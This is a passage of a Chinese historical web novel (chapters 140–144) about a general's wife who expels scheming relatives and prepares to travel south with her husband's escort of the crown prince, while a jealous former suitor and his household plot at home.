无论府医还是太医都叮嘱过了,说是赵小姐正调养着身子,万万不可再着凉了,否则耽误了最佳诊治的时机,往后就真绝了子嗣了。 赵大伯母一听,立马歇了心思,守着女儿,看着她用药,一顿不落。 自此,总算安稳了。 黎阳夫人听说了,哭笑不得。 一日午后,二人一块晒太阳时,黎阳夫人淡淡道:“长久留着总不是个事,我想个法子让她们回去,别叫你夹在其中徒惹麻烦。” “好。” 阳光下,黎阳夫人眉眼慈爱。 垂下的眸光中暗暗闪过一缕锋芒。 春日里是万物生长的季节,与千姿百态、勃勃生机一样的,还有辉哥儿的功课。 入学那会子,辉哥儿属于不温不火,不起眼的存在。 学得一般般,不算差也不算好。 可没想到一个年节下来,不知是开窍了,还是厚积薄发的缘故,辉哥儿的功课如雨后春笋一般,蹭蹭进步,进步之快令书院的先生都叹为观止,直夸他天赋过人,又肯下功夫。 没半个月,他就成了澜麓书院里又一号备受器重的学生。 虞声笙还以为辉哥儿当真厉害,是个读书的料。 没想到这一天在家休息时,辉哥儿一面剥松子一面告诉她一个秘密:“其实书里那些道理都是阿昀告诉我的。” 虞声笙:? 辉哥儿又道:“阿昀一点就透,休息的时候他便把自己懂的拆开了讲给我听,然后我就明白啦,课上先生随便提问,我都能对答如流。” 虞声笙:…… 第140章容不下 辉哥儿心思单纯,人也敞亮,根本没想过这话本不该说出来。 他低头吃着松子,一脸的磊落,倒将一旁的昀哥儿衬得有些慌张不安。 见状,虞声笙哭笑不得,又问:“你祖母可知晓这事?” 谁知辉哥儿越发坦荡:“知晓啊,我下学回来就与祖母说了,祖母说昀哥儿能干,让我多跟着学学;说来也怪,先生有些地方教得听不懂,阿昀与我说两句,我便能听明白了。” 虞声笙松了口气。 好在不是专门作弊来着。 待虞声笙离去,昀哥儿从后头追了上来。 “夫人……”他满脸不安,“是我做错了什么吗?” “哪里有错?你上进用功,还给辉哥儿讲解,谢你还来不及呢。”她温柔轻笑,“只一点,不许帮着辉哥儿作弊,不然别说我了,书院里的先生第一个就饶不了你。” 昀哥儿松了口气:“夫人放心,我晓得轻重。” 顿了顿,他又道,“虽然读书这一项上辉少爷确实接受得慢点,但其他的功课他却在我之上的。” “人各有所长,很正常。” 到这会子,昀哥儿总算安心了。 能留在威武将军府,他觉着远比回瑞王府更好。 在这里,他名义上是奴,实际上吃喝不愁,还能读书,再好不过。 那瑞王也是个聪明人。 隔了几日就给威武将军府送礼,送来的布匹料子都是适合小孩子穿的,还有一些孩子适用的物件,什么笔墨纸砚、文房四宝、各类书籍之类的。 瑞王办事稳妥细致,所有的东西都是一式三份。 辉哥儿桂姐儿一人一份,剩下的那一份才给昀哥儿。 虞声笙背后没少夸瑞王厉害。 闻昊渊笑道:“要是不厉害,又怎能在皇帝身边待了这么多年,位列宗亲之首?自然是有点本事的。” 收了人家的好处,自然要替人家办事。 昀哥儿在府里的一应待遇也水涨船高。 跟昀哥儿截然相反的,是赵家母女在府里的待遇。 却说赵阅儿当夜被泼了凉水病了,一连数日都缠绵病榻不得起身。 看似病得很重,但虞声笙问过府医,也问了太医,他们都说小小风寒而已,只要听从医嘱,按时用药即可。 赵阅儿之所以不出门,是怕那一晚的事情败露,自己没脸。 等了好几日,她才在风和日丽的一天出了院门,在花园子里晒太阳。 刚巧,虞声笙今日约了园丁进府。 花园子里都是新栽种的各色花朵儿,一朵朵争奇斗艳,甚是赏心悦目。 与她一打照面,赵阅儿面上尴尬几分,很快又神色如常。 “阅儿妹妹身子大好了,也该出来晒晒太阳。”她弯唇浅笑。 阳光下,越发照得她面容如玉,白净典雅。 赵阅儿羞涩:“叫嫂子担心了,是阅儿的不是。” “倒也没有多担心,太医说了你身子没什么大碍的。” 赵阅儿一阵语塞。 虞声笙又说起另外一桩事:“对了,有人参了威武将军府一本,这事你可知晓?” 赵阅儿心中暗喜,装作一脸茫然地摇摇头:“愿闻其详。” “有折子启奏陛下,说是我威武将军府霸占赵家的产业,还将黎阳夫人困于我府里不放人,如今赵家来人接了,我们还是无动于衷,实在是欺人太甚。” 她一边说一边细细打量着赵阅儿的反应。 果真,这少女到底还是稚嫩了些,眼底的得意一闪而逝,却叫虞声笙准确捕捉。 “还有这样的事……”赵阅儿垂眸,装模作样。 虞声笙叹道:“是呀,你们当真不知情?赵大太太也不知情么?” “确实不知。”她忙摇了摇头,“我们母女初来乍到的,哪里晓得什么,更不要提托人上书折子给陛下了,嫂子若不信,尽管去问我母亲。” “哪有不信的。”虞声笙摆摆手,“那兴许是有人见不得咱们府上过得好,所以才这样泼脏水的吧,只是给我家将军添了些麻烦。” 这事儿出来有两三天了。 闻昊渊其实并没有放在心上。 以黎阳夫人与帝后的交情来看,无论皇帝还是皇后,都不会相信这折子里的内容。 只是难堵悠悠之口,总归还是会有流言蜚语传得满京都是。 皇帝也留了闻昊渊在御书房详谈,此事目前还是悬而未决。 在花园里偶遇,虞声笙与赵阅儿说了两句,便摆出一副愁容回了安园。 赵阅儿一回屋子,便难掩兴奋,拉着母亲絮絮叨叨说了许久。 “还得是娘有本事,这么快就寻到了门道。”她窃喜不已。 “那可不,若不是这样,怎能让这将军府对你敞开大门?要咱们去澄清,说多少话都是无用,不如叫那少将军将你娶过门,这就足以让外头那些人闭嘴了。” 赵大伯母信心满满。 抬手替女儿拢了拢碎发,她满意极了。 她的女儿这般品貌,唯有这威武将军府方能配得上。 赵阅儿意识到了什么,两眼放光:“娶我过门?” 不是纳,而是娶。 纳,为妾;娶,为妻。 如今将军府已有正房奶奶,那就意味着赵阅儿要弄个平妻来做做了,与虞声笙不分大小,平起平坐。 一想到这儿,她越发按捺不住喜悦,满面红光。 “正是。”赵大伯母冷哼,“别以为我不知晓,那晚上泼了你一身的,绝对是那将军夫人的手笔,在我跟前玩这样的手段,自然要叫她知道我们的厉害!原本想叫你委屈了,做个妾室姨娘便可,如今我却不依了。” 说着,她又冷笑连连,“一边是将军府的名声,一边是娶了平妻便能息事宁人,你猜猜闻将军会怎么选?” 赵阅儿嘻嘻一笑:“还是娘亲厉害。” 外头闹得愈演愈烈。 说什么的都有。 但霸占他人财产的闲话却越说越有,这种事还不好挨个登门解释,惹得闻昊渊脸色发沉,有几次直接在明面上与他人直接翻脸。 虞声笙这头也好不到哪儿去。 出门赴宴或是聚会,总有女眷会拿这事打趣。 还有问,是不是虞声笙不会当家,怎会让偌大一个将军府落到要霸占他人财产的地步。 黎阳夫人出面说话,也挡不住流言蜚语。 终于这一日,赵大伯母趁着用晚饭的功夫,无不担忧地提起这件事,话里话外是为了将军府着想。 “不如这样,且让闻将军娶了阅儿做平妻,这么一来,这些流言便可不攻自破了。” 赵大伯母显然已经打好腹稿,一张口便说得流利。 “对外咱们就说,那些个财产是阅儿的陪嫁,一切便顺理成章了,也不必多费口舌,还能成就一桩美事,岂不美哉?” 她说着,她身边的赵阅儿羞答答地低下头,眼角眉梢微微一挑,冲着闻昊渊的方向抛了个媚眼。 虞声笙都看笑了。 这么直接的嘛? 没等黎阳夫人开口,闻昊渊淡淡道:“我不娶平妻。” 赵大伯母说得正起劲,根本没想到男主人会当面直接拒绝。 一时间,她有些面上讪讪。 还没等她继续说,闻昊渊又道:“我也不纳什么妾室姨娘,将军府地方小,容不下您二位大佛。” 第141章羞辱 赵大伯母愣住了。 她女儿如花似玉,又正当妙龄。 她不信一个男人瞧见了这般美貌会不动心。 没想到闻昊渊不要平妻,也不要妾室,拒绝得这样果断,她们母女二人面面相觑,赵阅儿哪里忍得住这般羞辱,当即眼圈一红,险些落下泪来。 “外头的流言蜚语我不管,随便他们怎么说,我将军府的日子照过;闻家从未吃过他们一粒米,今日种种风光也都是闻家先烈凭着赫赫军功攒下的,我为什么要看他们的脸色过日子?” 闻昊渊冷笑,“倒是您二位,这些日子府里府外地蹦跶,如癞蛤蟆一样上蹿下跳的,真是辛苦了;寻官员替你们上书折子应该花了不少钱吧,可有钱返程回乡么?” 赵大伯母嘴唇哆嗦起来。 她眼神惊恐,却还强撑着:“你说什么,我却听不懂……不愿就不愿好了,说这些个酸话刺人作甚?我家清清白白的好姑娘,由不得你这样作践。” “作践赵姑娘的,不就是你这个做母亲的么?” 闻昊渊不善言辞,只会拿事实说话。 是以不用唇枪舌剑,只要摆出证据,就能杀得对方片甲不留。 “我是没见过哪个母亲这般把自己女儿往外送的,就生怕她嫁不出去似的,若是清白的好姑娘,哪里愁嫁?及笄之年未到,怕是门槛都要叫媒婆踏平了。” “你们本是亲戚的亲戚,来我府中就是投靠,竟不知廉耻动了这样的心思,我来问你,你把你女儿当成什么?攀附权贵的工具么?那恕我直言,就凭着赵姑娘这点颜色,还想要以色事人,怕是不太能够。” 咣当一声,赵阅儿猛地起身,撞翻了碗筷。 她再也不堪忍受,捂着脸一边哭一边跑了出去。 赵大伯母咬咬牙,也赶忙追过去。 虞声笙看得饶有兴致。 一旁的黎阳夫人还是头回见到自家侄子的战斗力,差点惊掉了下巴。 闻昊渊慢条斯理地擦了擦嘴角,对着虞声笙温柔一笑:“你陪着姑母多用些,我先去忙,回头再说。” “好。”虞声笙娇软应下,心中无不痛快。 待闻昊渊走了好一会儿,黎阳夫人才感慨万千:“早知这般,我就不用替你担心了……” “我跟姑母说过的,让您别在意。” 与闻昊渊做夫妻虽没多久,但她却很了解这个男人。 他看着粗,其实细。 尤其性子桀骜,不服掣肘。 赵大伯母想用这么一招逼得闻昊渊点头,那就是触碰到了他最厌恶之处,不被当面教训才有鬼。 至于外头的闲言碎语,只要将赵家母女打包送走,一切流言都会归于平静。 就像闻昊渊说的那样,他们夫妻一心,府中财帛粮草丰厚,还怕什么言语攻击,这不是扯淡么? 赵阅儿哭得越发凶了。 夜色深深,也不能止住她的泪水。 两只眼睛都哭肿了,鼻尖嘴巴一片泛红,哪里能瞧出素日里秀美恬静的模样。 见状,赵大伯母心疼不已,搂着女儿各种劝着。 赵阅儿哽咽不止:“女儿不要再在这里了,咱们回家去!!” “好好,那就回去,谁让那什么闻将军不识货,定然是那女人在他跟前说了什么,是我小瞧她了,看着不起眼,没想到却是个会搬弄是非的!这样的女人怎配做一府主母?以后有的是那闻将军后悔的日子!!” 赵阅儿扑进母亲怀中,越发伤心。 这份伤心一直到后半夜才堪堪停歇。 这事儿还没完。 晨起,丫鬟们送了热水热巾子进屋。 赵阅儿正想敷一敷自己那双哭得红肿不堪的眼睛,却听那送来热水的丫鬟道:“我们夫人说了,还请二位更衣洗漱后去安园一道用饭,夫人有话要说。” “有什么话说?”赵阅儿气呼呼地一甩手,将热巾子又丢进盆里,溅起好些水花。 “夫人要说什么,我们这些个做下人的怎么知晓?”那丫鬟笑嘻嘻的,语气里却无半点恭顺,“奴婢只是个传话的,若姑娘有什么不满,大可与咱们夫人去说,何苦来的,拿我们撒气。” “你、你……好没规矩的丫头!!”赵大伯母也气坏了。 “这位太太别着急生气,我再没规矩也是将军府里的人,轮不上您派遣教训。” 那丫鬟说着,福了福,快步退下。 竟一点反驳的机会都不给。 如此一来,昨夜的气未消,今日的羞辱又到。 去见的是虞声笙,却不是闻昊渊,赵家母女一同选择了无视——就不去见,你能奈我何? 到了下午晌,一众婆子丫鬟涌进她们的屋中,开始动手收拾细软物件。 赵大伯母又惊又怒:“好些无礼的下人,主子的屋子也敢闯!!” “对不住了,太太,咱们受夫人吩咐,过来替您与令千金收拾行囊箱笼,你们来时入府的东西每一件都有登记在册;喏,还请赵大太太过目。” 一婆子笑得慈眉善目。 这是跟在虞声笙身边的白妈妈。 白妈妈从不跟人红脸,说话间也透着阳春白雪,进退得宜,明明做的是这般打脸、得罪人的事情,叫她来办也像是顺理成章、风过无痕一般。 “咱们府里的人都训过,绝不会短了太太与姑娘一针一线。”白妈妈温柔道,“咱们夫人还说了,到底亲戚一场,又远道而来地投奔,如今太太与姑娘要走了,夫人心中多少有些不舍得,这些个缎子不成敬意,只是咱们夫人的一片心意,还望太太与姑娘莫要嫌弃,收下了带回去,做一身簇新地穿上,也算全了咱们两府的一番情意。” 望着堆在桌案上的那几匹料子,赵大伯母已经气糊涂了。 完全不知该如何应对。 她强忍着半边发麻的身子,一阵语无伦次:“她、她竟要赶我出府不成?我是她的长辈!!黎阳夫人在哪里,我要见她!” 见婆子丫鬟们还在忙着收拾箱笼,赵大伯母一阵怒从中来,奋力上前抢夺着,还劈手扇了婆子两耳光。 “闹什么?”黎阳夫人冷着脸从屏风后头绕出来。 “你可来了。”赵大伯母胸口起伏不定,“你就这样眼睁睁看着这无知小辈欺负我不成?我到底算是她的长辈,就没听过这样撵家中亲戚走的!” 黎阳夫人冷笑:“长辈?你算哪门子的长辈?你可瞧清楚了,这府里姓闻,你夫家姓赵,与闻家拐着几个弯子的亲呢!还有,让你走不是夫人的意思,是我与将军的意思。” “什么?”赵大伯母惊呆了。 “与其留着你继续在京中兴风作浪,闹出更大的笑话,还不如眼下直接送你回乡。” 黎阳夫人微微抬起下颌,“我也给你女儿寻了一门好亲事,就在老家,保证家世门第儿郎都配得上你闺女。” 这话如晴天霹雳,赵阅儿的眼珠子都快掉下来了。 赵大伯母喘着粗气。 与昔日亲切的妯娌怒目而视,早就没有了一开始的温情和气。 她暴跳如雷:“我看你们谁敢撵我走,敢撵我走,我就一脖子吊死在你们府门外!!” 第142章天意难违 赵大伯母这一刻终于暴露出原本嘴脸。 她怒目而视,一副杀气腾腾要吃人的模样,毫不畏惧地瞪着黎阳夫人:“你是晓得我的,逼急了我,别叫我做出更难看的事情来,你们威武将军府仗着势大欺负我们孤儿寡母,闹出人命来了,谁也别想好过!” 原来,一切的温和都是假象。 黎阳夫人冷眼注视着,回想起那一日在宗祠与对方僵持的场景。 她扯了扯嘴角:“终于不装了?” “原以为你在京城过得好,却不想还是要看着侄子侄媳妇的眼色过日子,我们母女投奔而来,连个喘息的余地都没有,这般逼迫,是何用意?”赵大伯母红着眼眶,开始颠倒是非。 廊下,正听着这一切的虞声笙啧啧称奇。 果真天下之大,无奇不有。 像赵大伯母这样鲜廉寡耻的,大有人在。 虞声笙听了一会儿,见黎阳夫人应对得有来有去,并不像是落了下风的样子,她便悄无声息地回到安园。 阳光正好,笼罩着那一方罗汉榻,照得那柔软的褥子都仿佛泛微糙的光。 坐在上头,她起卦而算。 待看清了卦象后,她了然一笑:“我说怎么纠缠不清呢,原来还有后手,也好也好,富贵险中求嘛!” 今瑶从外头进来。 “夫人,刚刚姑太太好大的威慑,直接把那赵大太太骂了一通,还让人把她捆了直接送去了顺园,姑太太说了,为防止她一时气急再闹出什么事来,这样对大家都好。” 今瑶回话,满是兴奋。 她还是头一回瞧见这样有张力的场面。 那黎阳夫人听到最后已经极度不耐烦,直接让身边的婆子动手。 能以一人之力抵挡整个夫家家族的女子,自然不是什么简单角色,虞声笙从不怀疑黎阳夫人的能耐,对付区区一个赵大伯母,简直是杀鸡用牛刀。 又过了一会儿,闻昊渊回来了。 虞声笙跟他把这事儿说了。 男人淡淡道:“无妨,我已跟陛下据实相告,姑母也专程写了书信面呈陛下,那些个流言蜚语随便说。” “你是无所谓,可我却咽不下这口气。” 虞声笙利落道,“她们母女二人自打进了咱们的府门,我何曾亏待过?又是伯母长伯母短的,又是妹妹好妹妹乖的,什么好话没说,什么好东西没紧着她们那屋给?这又吃又拿的,说到底又不是咱们正经伯母堂妹的,咱们犯得着么?” “又说给她请了太医治病,那一应药材花销还不是从咱们的账上走。有道是,升米恩斗米仇,今儿我算是见识到了;稍有不如她们母女的意的,就这般为难咱们!” “如今还要什么给什么,咱们就一定得当这个冤大头不成?就算咱们府上不缺这些个银钱,但道理我总要分辩一二的!不然往后谁都当咱们是个软柿子,谁都能上来咬一口,这像话么?” 她本就不是好说话的性子。 原先在虞府,为了生存,为了融入,为了学习,她是不得不掩藏本性。 眼下嫁了人,府中中馈全交她一人执掌。 若这个时候还忍气吞声的,那就不是她了。 闻昊渊少见这样神采飞扬,又透着点坦率直白的妻子,顿时看得眼睛发光,重重搁下茶盏道:“说得好,确实是这个理!” “就是!” 她见铺垫得差不多了,忙不迭地凑到丈夫身边,像只小猫似的拱了拱,“所以啊,我算了一卦,外头传言的那些个产业终会被咱们收入囊中;既承了这坏名声,为何不直接坐实,免得叫人委屈。” 闻昊渊一愣:“产业?” “对呀。”她眨眨眼睛,“就是赵大伯母说的那些!” “你打算怎么做?” 虞声笙娇俏一笑:“你且等着吧,不出十日,啊——不出五日,必定有旨意,到时候咱们一道跟着姑母去,把这倒霉玩意送回去,再顺便捞点赔偿。” 她绝不做赔本的买卖。 再说了,这是天意。 天意难违四个字懂不懂? 心中了笃定,手里也有了计划,虞声笙的心也安定了不少。 翌日,她又与黎阳夫人说了一番,黎阳夫人点头称是。 于是接下来数日,赵大伯母就被困在了黎阳夫人的顺园中,与赵阅儿分开。 赵阅儿到底年轻,身边没了母亲,就像失了主心骨一般,整天惶惶不可终日。 求到黎阳夫人处,又被个软钉子不阴不阳地给顶了回来。 私底下,她可没少抹泪。 直到等得六神无主,快要按捺不住时,宫里一道旨意传来,让闻昊渊领兵随太子出行,巡查江南一带,重点查一查夏种夏收的事宜,大约还有什么暗中给与的任务,反正虞声笙也懒得打听。 消息传来,她便让人张罗起来。 收拾行装,打点箱笼。 她笑眯眯地去了一趟顺园,亲自将这个好消息告诉了赵大伯母。 多日不见,赵大伯母已经折腾不起了。 每日不得出门,虽说一应嚼用吃穿不懈怠,但这跟坐牢又有什么两样,她像是霜打的茄子,整个人恹了下去。 一见虞声笙,赵大伯母立马又抖擞精神,强装镇定。 “告诉大伯母一个好消息,陛下传旨,我家将军要去江南了。” “去就去呗。”赵大伯母冷哼,“陛下若知晓你们夫妇这样对待长辈,一个不敬不孝就能治你的罪。” 虞声笙装作没听到,自顾自道:“这一趟去必定会经过乾州呢,我与将军商量过了,咱们府里的车马也同一日出行,借着太子的车驾,还有将军的照拂,这一路也定然能顺风顺水。” 赵大伯母终于听出了端倪:“你们要去乾州?” “自然。” 虞声笙一拍手,“有道是读万卷书,不如行万里路,如今天气和暖,刚好一路赏景踏青,更是趣事。” “你们……要去乾州?”她像是不相信似的,又问了一句。 “对,顺便将大伯母与阅儿妹妹送回去。” 虞声笙莞尔,眉眼弯起,像极了天边的月牙。 偏那深色的眸子笼络住了整个夜色的深邃,深不见底。 赵大伯母意识到不对,脸色发沉。 “大伯母回家不开心么?总好过留在我这将军府委屈受气吧?我也不想哪一日起来,一个不留神发现府门外挂着具尸体,那多骇人呀。” 虞声笙捂着心口,白净的小脸一片恐慌。 可她的眼睛骗不了人。 亮闪闪的,哪有半点害怕? 事情超出了控制,赵大伯母觉得回乡也不错,但总觉得心里毛毛的,又说不出哪里不对。 虞声笙的动作很快。 府里的奴仆们也是训练有素,不消一日的功夫就将那些出门的箱笼行装都打点妥当。 金猫儿,还有芳白两位妈妈亲去查了一遍,万无一失,便来虞声笙跟前回话。 虞声笙轻轻颔首:“既准备妥当了,就看将军几时出门,咱们跟着一起便是。” 赵大伯母那头自有黎阳夫人打点,不用她费心。 这边安顿好,临行前一日,虞声笙竟见到了一位意外的访客。 没有拜帖,没有小厮提前通传,慕淮安就这么登门了。 “听说你要跟闻昊渊一起去江南?” 第143章不安分的心 虞声笙只觉得奇怪。 这话谁来问,都轮不到慕淮安。 她冷下面孔,疏远又客气道:“多谢兄长关心,这是我们夫妻自己的事情,兄长不必多问。” “你一直都是这样小女儿的心态,谁是你的夫婿,你便一心都扑在他身上,从前也是这般,没轻没重,不顾一切;闻昊渊此番奉命护卫太子左右,一路上难免不太平,他未必能护得住你,你一内宅妇人,又何必跟着一起吃苦?” 慕淮安忍不住了,张口就来。 听到这话,虞声笙错愕不已。 见她目瞪口呆,说不出话来,慕淮安又道:“闻昊渊一个男人,在外又能有什么事?你也犯不着担心,他若是有旁的心思,你也拦不住,万事还是该以自身为重,明白吗?” “你什么意思?”她半个人都麻了。 “不要跟闻昊渊同行,离京去玩,什么时候不可以,非得趟这趟浑水么?” 说着,他眉间紧蹙,似乎对虞声笙这样不计后果的决定很是不满。 “我说了,这是我们夫妻的事情,你管不着。”她拉下脸来,脸色比刚刚还要难看,“慕将军,请回吧。” “虞声笙!你不要总是这样冥顽不灵好不好?从前追着我跑,如今追着闻昊渊,你就不能有点你自己的想法?” 慕淮安被她脸上的冷漠刺激到,一时口不择言。 其实这些话也不是他的真心话。 就在刚刚,他的真心话被咽了回去。 只差那么一点点,他就险些说出口。 喉间咽了咽,他语气凝重:“此事关乎你的安危,别耍小孩子脾气。” 虞声笙听懂了。 “大概吧。”她摆弄着袖口上的流苏,眼睛都不看他,“我就是喜欢这样冥顽不灵,谁做我的夫君,我就对谁好,我就想黏着对方,这——有错吗?” 慕淮安被噎得不轻。 虞声笙又嗤笑两声:“难为兄长这样替小妹考虑,小妹会看着办的,兄长只管放心,我已成婚,也不是小孩子了,所有决定都是深思熟虑的。” 她迎着慕淮安的视线看过去。 过分坦率,也过分直白。 他一时心慌不已,生怕自己藏在心中的那点想法被看穿,赶紧瞥开眼:“总之,听劝,我又不会害你。” 虞声笙不置可否地瘪瘪嘴角,什么也没反驳。 借口自己累了,便让丫鬟们送客。 慕淮安直到离开威武将军府才想起,这女人连杯茶都没给他上,哪里有半点待客之道? 屋内,今瑶忐忑:“夫人不会听信了他的话吧?奴婢瞧着这慕小将军可不是什么好人。” 过往种种历历在目。 今瑶对慕淮安的观感极差。 “放心,你家夫人还没有眼瞎心盲到这个地步。” “这慕小将军来跟您说这些话做什么?”金猫儿着实不懂。 “谁知道呢。”虞声笙大约能猜到一些,不过不往心里去。 她的唇边含着嘲弄,随手拿起绣绷绣了两针。 不巧被今瑶瞧见,今瑶赶紧上前拿走:“我的好夫人,我的姑奶奶,您就别碰这些了,我这上头还有两朵花就绣好了,您这是给我添乱。” 虞声笙:…… 这丫头,居然嫌弃她针线不好。 不过这也是事实。 瞧瞧人家今瑶绣的,活灵活现,煞是漂亮。 再看看自己刚刚添了的两针…… 好吧,不看也罢。 出发的这一日还是到了。 闻昊渊提前两天检查了妻子的行装,以及府中一道出行的人选,为保万无一失,这一回黎阳夫人与一双孩子就留在府中。 黎阳夫人很担忧:“这怎么说也是我夫家的事情,我怎能不去?” “辉哥儿如今正用功读书呢,一来一去的,耽误他时间不说,万一路上有个头疼脑热的,岂不是更糟?况且,这一次咱们昊渊还有圣命在身,哪里能照顾得来?” 这两句一下子说得黎阳夫人开不了口。 正因有圣命在身,威武将军府的车马可以跟着一道沾光。 走官道,走水路,皆可畅通无阻,要比寻常人家的行路日程缩短不少,他们走一个来回,足够黎阳夫人当日来京一趟了。 带着老幼,确实更不方便。 “那我与你说的那些,你可记牢了?”黎阳夫人见不能说动对方,便又换了个方向关心。 “您要是不信,尽管考我。” 黎阳夫人还真不放心,又拉着虞声笙说了好些关于乾州赵家的事情,上至三代祖宗,下到孙孩童,几乎已经说遍了。 其实虞声笙早就记得,不过是让黎阳夫人尽管开口,叫她能心安。 准备就绪,在一个晴朗的清晨里,夫妻二人一道出发。 闻昊渊跟随太子銮驾出城,威武将军府的车马则不远不近地跟在后头。 这厢刚出了城门,慕淮安便得到消息。 得知虞声笙还是跟着一道去了,他的面色阴沉到发青,无比难看。 徐诗敏正跟他说着话。 “母亲与我说了庄子上收成的事儿,说是立秋之前就要有个定数,还要采买一些人手,怕会不够用;对了,允娘那头又嫌屋子里的摆件不够精致,我开了库房让她自个儿去挑,她又羞答答地不愿,我却不知该如何是好了。” 还没说完,慕淮安蹙眉道:“不过小事,她不愿挑那就不要挑,既不愿挑,往后也别喊什么这不满意那不满意的,没的叫人心烦。” 徐诗敏一听,心里快活极了。 她面上却掩饰得很好:“夫君这话说了岂不是叫允娘妹妹伤心么,允娘妹妹与夫君情深意重,又是刚刚纳进门的,总归要多照拂着些。” “你看着办就好。” “好。” 她还欲说些什么,却听慕淮安没头没脑地来了句:“我记得岳父门下有一姓程的官员,如今正在定州当差,那定州是去往乾州的必经之路,太子一路……辛苦,你带个话给你父亲,让他可提前安排一二。” 闻言,徐诗敏高兴了:“我听夫君的。” 等慕淮安走后,她又忍不住欢快,口中哼着不知名的小调。 盈袖笑问:“什么事把咱们姑娘高兴成这样?” “呵,那屋拈酸吃醋,什么法子都想了,可妾就是妾,男人兴许一时贪恋新鲜,宠爱那么一段时日,可终究无法与明媒正娶的正房奶奶相比。”徐诗敏颇有些得意洋洋。 “那可不,大奶奶您与少将军情分非同一般,允姨娘就算如何得宠,也越不过您去。” 盈袖忙跟着道。 转念一想,徐诗敏又冰冷含酸道:“有些人就不明白这个理了,一味地拘着男人,这会子是新鲜呢,男人听她的,可时日一长,等心里积怨了,她的苦日子还在后头呢。” “大奶奶说谁?”盈袖没听懂。 徐诗敏没有解释,手底下的事儿忙得更欢了。 她看准了一样半旧的青铜香炉,让盈袖给允娘送去。 允娘瞧见那件香炉,漂亮的脸立马就不好看了。 “大奶奶这是什么意思?就算不想给奴家好东西,也不必这样埋汰人,一样半旧的物件就想打发人么?旁人要是知晓了,还道将军府连个姨娘都养不起呢。” 允娘娇滴滴道。 第144章身份,自由,远行的帆 “奴家原也不想这般计较的,只是……万一往后府里来客,叫人家瞧见了,岂不是丢咱们将军府的脸?” 允娘话里话外都是替府里考虑,替徐诗敏这位正房奶奶考虑。 前来送东西的婆子闻言,笑得越发柔和:“库房开了,叫姨娘亲去挑,姨娘又不愿;如今大奶奶差奴婢送东西来,姨娘又看不上,姨娘难不成是想让爷们陪着一块挑么?咱们少将军平日里多忙啊,哪能为了这点子小事耽搁?” 这话不阴不阳的,一下子说进了允娘的心坎里,更戳得她面色一阵白一阵红。 气哼哼地红了半张脸,允娘拢了拢袖口:“等将军回来!” 婆子没吭声,福了福告退。 到了晚间,待慕淮安宿在允娘处时,就被吹了枕头风。 要说这允娘得宠不是没有原因的。 她生得秀美,偏有一双与那人似曾相识的眼睛。 又会伏低做小,哄得男人心花怒放。 透过她,慕淮安似乎总是在看另一个人。 允娘只是觉得有点奇怪,却不会深究,眼下最要紧的是她被大奶奶拿捏了。 这会子她正抹着泪,哭哭啼啼地告状。 “那是什么好东西么?左不过一个香炉罢了,外头寻常人家都用得上的,偏到奴家这里却不成了……奴家本分守礼,想着大奶奶给什么,我便用什么,可要奴家拿着这样的物件摆着伺候爷,奴家心里憋屈。奴家委屈就算了,怎可爷也受这份气?” 她哭得梨花带雨。 那双眼睛越发娇滴滴。 可莫名的,慕淮安总觉得今晚的这双眼睛越来越不像虞声笙。 虞声笙的眼睛可从未这样过。 从前跟在他身后时,虽乖顺娇怯,却从未这样死缠烂打地撒娇过,听着允娘的哭声,想起过往种种,一阵烦躁涌上心头。 “那依你之言要如何?” 允娘大喜过望,眼底猛地一亮:“奴家也没有要如何,就想爷陪着一起去挑一挑,总要挑一个爷喜欢的才是。奴家瞧着……那青玉嵌红宝石的炉瓶就很不错,双耳白玉,瞧着也欢喜大气。” 原来她早就看中了。 只是……那一样三式的宝贝太贵重,她没敢下手。 慕淮安哪有不明白的。 心里莫名涌起一个念头——虞声笙就从不这样。 她对自己的付出,从来都是无怨无悔的。 任凭他对她如何冷淡,她都没有变过……可后来,为什么又被闻昊渊截胡了呢?明明婚约是他的,虞声笙是要做他的妻子的呀。 允娘见自己的话没有得到回应,抬手探入男人上衣前襟:“将军……” 慕淮安陡然清醒,利落地起身走人。 “爷!!”允娘不明所以,忙扯住他的衣角,“这么晚了,爷这是去哪儿?” “大奶奶房中的摆件都没有这般珍贵精致,你一个妾室难不成还想越过正房夫人么?” 慕淮安冷冷道。 “我……”允娘惊呆了,豆大的泪珠滚落,“爷不愿就不愿好了,为何这样说话刺人?” “你本就是妾,你委身于我的时候就明白的,你只能做妾,既已经明白,又为何现在不知收敛,不明本分?” 说话间,慕淮安已经理好了衣衫,“明日,你去大奶奶屋外跪上一个时辰,往后再不许这般撒娇卖痴地要东西。” 允娘瞪圆了眼睛,简直不敢相信自己听到的一切。 正发愣,男人已经大步流星地离开。 消息传到徐诗敏耳中,她快活得一夜好眠。 翌日起身梳妆,听外头婆子来传话,说允娘已经在屋外了,等着给奶奶请安。 徐诗敏手持蝶舞百花的铜镜照了照,很是满意今日的发髻,笑道:“到底是爷心尖上的人,也不好太为难了,妈妈给她拿个软和的蒲团垫着,莫叫她伤着膝盖。” 听到外头的动静,她弯唇浅笑:“像又如何,呵呵……” 允娘这一回,结结实实跪了一个时辰。 一开始还摇摇欲坠,泪水在眼眶打转,目光四下游走,想找寻慕淮安的身影,她巴望着叫他瞧见了能引起怜悯之心。 谁知身边负责看着的盈袖来了句:“姨娘还是收敛着些吧,这个时候将军是不会来咱们奶奶这儿的,早些跪完姨娘也可早些回去歇着,咱们奶奶也安心。” 允娘咬着牙,硬生生抗住了这一波羞辱。 一个时辰跪完,徐诗敏也没有多为难她。 让婆子送她回屋,还留了好些活血通经的药膏。 “奶奶也太好心了,一个见不得光的小星罢了,还几次三番想舞到奶奶跟前,也就是咱们将军看得分明,不必奶奶发话,就惩处了这不知天高地厚的小蹄子。”一婆子道。 徐诗敏到底还在意允娘的那双眼睛。 她轻轻叹气:“到底是爷主动纳的,又是刚刚进门,咱们这样的人家屋里头没人,传出去岂非叫人说我刻薄,拈酸吃醋容不下?就这样吧……” “爷还是向着奶奶的。” “嗯。”徐诗敏方觉痛快些许,“定州那边可来信了?” “没这么快呢。”婆子回话,“奶奶刚传消息回娘家,娘家老爷必定已经忙活起来,准错不了。” “那就好。” 若能趁着太子巡视的机会,叫自家也能立一份功,往后娘家地位更稳固,也有人给她撑腰。 却说威武将军府的车马出了京城。 先走官道,后又转水路。 一路畅通无阻,看尽无限风光。 虞声笙已经数年没有这样畅快自由过。 只觉得野外的风都比宅院里的清新,深深吸一口,就连胸腔里都沁满了甜爽,心情愉悦得快要飞起来。 一回头,却见几个丫鬟一个个面如土色歪在榻上桌边。 她们哪里经受过这样的长途跋涉。 